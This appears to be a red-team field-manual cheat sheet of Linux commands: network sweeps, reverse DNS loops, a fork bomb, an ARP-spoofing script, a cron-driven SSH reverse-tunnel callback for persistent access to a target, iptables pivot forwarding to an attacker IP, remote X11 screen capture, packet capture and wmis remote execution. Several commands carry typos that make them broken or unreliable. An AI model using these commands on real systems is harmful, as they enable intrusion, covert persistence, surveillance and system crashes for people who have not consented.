Scripting
Ping Sweep
for x in {1..254..1};do ping -c 1.1.1.$x |grep "64 b" |cut -d" " -f4 >> ips.txt; done
Automated Domain Name Resolve Bash Script
#!/bin/bash
echo "Enter Class C Range: ie 192.168.3"
read range
for ip in {1..254..1};do
host $range.$ip |grep "name pointer" |cut -d" " -f5
done
Fork Bomb (create processes until sytem crash)
:(){:|:&};:
DNS Reverse Lookup
for ip in {1..254..1}; do dig -x 1.1.1.$ip |grep $ip >> dns.txt; done;
IP Banning Script
#!/bin/sh
# This script bans any IP in the /24 subnet
# It assumes 1 is the router and does not ban .20 .21 .22
i=2
while [ $i -le 253]
do
if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then
echo "BANNED: arp -s 192.168.1.$i"
arp -s 192.168.1.$i 00:00:00:00:00:0a
else
echo "IP NOT BANNED: 192.168.1.$i***********"
echo "**************************************"
fi
i='expr $i +1'
done
SSH Callback
Setup script in crontab to callback every X minutes. Highly recommend you
setup a generic user (if no shell privs). Script will use a private key
located on callback source computer to connect to public key. Red teamer
connects to target via local SSH session. (ssh -p4040 localhost)
#!/bin/sh
# Callback script located on target computer
killall ssh >/dev/null 2>&1
sleep 5
REMLIS=4040
REMUSR=user
HOSTS="domain1.com domain2.com domain3.com"
for LIVEHOST in $HOSTS;
do
COUNT=$(ping -c2 $LIVEHOST | grep 'received' | awk -F',' '{ print $2 }' | awk '{ print $1 }')
if [[ $COUNT -gt 0 ]]; then
ssh -R ${REMLIS}:localhost:22 -i "/home/${REMUSR}/.ssh/id_rsa" -N ${LIVEHOST} -l ${REMUSR}
fi
Top -
Home
IP Tables
| iptables-save -c > <file> | Dump iptables rules to stdout |
| iptables-restore <file> | Restore iptables rules |
| iptables -L -v --line-numbers | List all iptables rules with affected and line numbers |
| iptables -F | Flush all iptables rules |
| iptables -P <INPUT/FORWARD/OUTPUT> <ACCEPT/REJECT/DROP> | Change default policy for rules that don't match rules |
| iptables -A INPUT -i <interface> -m state --state RELATED,ESTABLISHED -j ACCEPT | Allow established connections on INPUT |
| iptables -D INPUT 7 | Delete 7th inbound rule |
| iptables -t raw -L -n | Increase throughput by turning off statefullness |
| iptables -P INPUT DROP | Drop all packets |
Allow SSH on port 22 Outbound
> iptables -A OUTPUT -o <iface> -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
> iptables -A INPUT -i <iface> -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
Allow ICMP Outbound
> iptables -A OUTPUT -i <iface> -p icmp --icmp-type echo-request -j ACCEPT
> iptables -A INPUT -o <iface> -p icmp --icmp-type echo-reply -j ACCEPT
Port Foward
> echo "1" > /proc/sys/net/ipv4/ip_forward
# OR -> sysctl1 net.ipv4.ip_forward=1
> iptables -t nat -A PREROUTING -p tcp -i eth0 -j DNAT -d <pivotip> --dport 443 -to-destination <attk_ip>:443
> iptables -t nat -A POSTROUTING -p tcp -i etho0 -j SNAT -s <target subnet cidr> -d <attackip> --dport 443 -to-source <pivotip>
> iptables -t filter -I FORWARD l -j ACCEPT
Allow only 1.1.1.0/24, ports 80, 443 and log drops to /var/log/messages
> iptables -A INPUT -s 1.1.1.0/24 -m state --state RELATED,ESTABLISHED,NEW -p tcp -m multiport --dports 80,443 -j ACCEPT
> iptables -A INPUT -i eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
> iptables -P INPUT DROP
> iptabels -A OUTPUT -o eth0 -j ACCEPT
> iptables -A INPUT -i lo -j ACCEPT
> iptables -A OUTPUT -o lo -j ACCEPT
> iptables -N LOGGING
> iptables -A INPUT -j LOGGING
> iptables -A LOGGING -m lmiit --limit 4/min -j LOG --log-prefix "DROPPED "
> iptables -A LOGGING -j DROP
Top -
Home
CHKCONFIG
* Available in Linux distributions such as RedHat Enterprise, CentOS and Oracle Enterprise Linux.
| chkconfig --list | List existing services and run status |
| chkconfig <service> -list | Check single service status |
| chkconfig <service> on [--level 3] | Add service, optional to add level at which service runs |
| chkconfig <service> off [--level 3] | Remove service |
Top -
Home
X11
Capture Remote X11 windows and convert to JPG
xwd -display <ip>:0 -root -out /tmp/test.xpm
xwud -in /tmp/test1.xpm
convert /tmp/test.xpm -resize 1280x0124 /tmp/test.jpg
Open X11 stream viewing
xwd -display 1.1.1.1:0 -root -silent -out x11dump
Read dumped file with xwudtopnm or GIMP
Top -
Home
TCP Dump
Capture packets on eth0 in ASCII and hex and write to file
> tcpdump -i eth0 -XX -w out.pcap
Capture HTTP traffic to 2.2.2.2
> tcpdump -i eth0 port 80 dat 2.2.2.2
Show connections to a specific IP
> tcpdump -i eth0 -tttt dst 192.168.1.22 and not net 192.168.1.0/24
Print all ping responses
> tcpdump -i eth0 'icmp[icmptype] == icmp-echoreply'
Capture 50 DNS packets and print timestamps
> tcpdump -i eth0 -c 50 -tttt `udp and port 53'
Top -
Home
Native Kali Commands
WMIC Equivalent
> wmis -U DOMAIN\<user>%<password> //<DC> cmd.exe /c <command>
Mount SMB Share
# Mounts to /mnt/share. For other options, man mount.cifs
> mount.cifs //<ip>/share /mnt/share -o user=<user>,pass=<pass>,sec=ntlmssp,domain=<domain>,rw
Updating Kai
> apt-get update
> apt-get upgrade
Top -
Home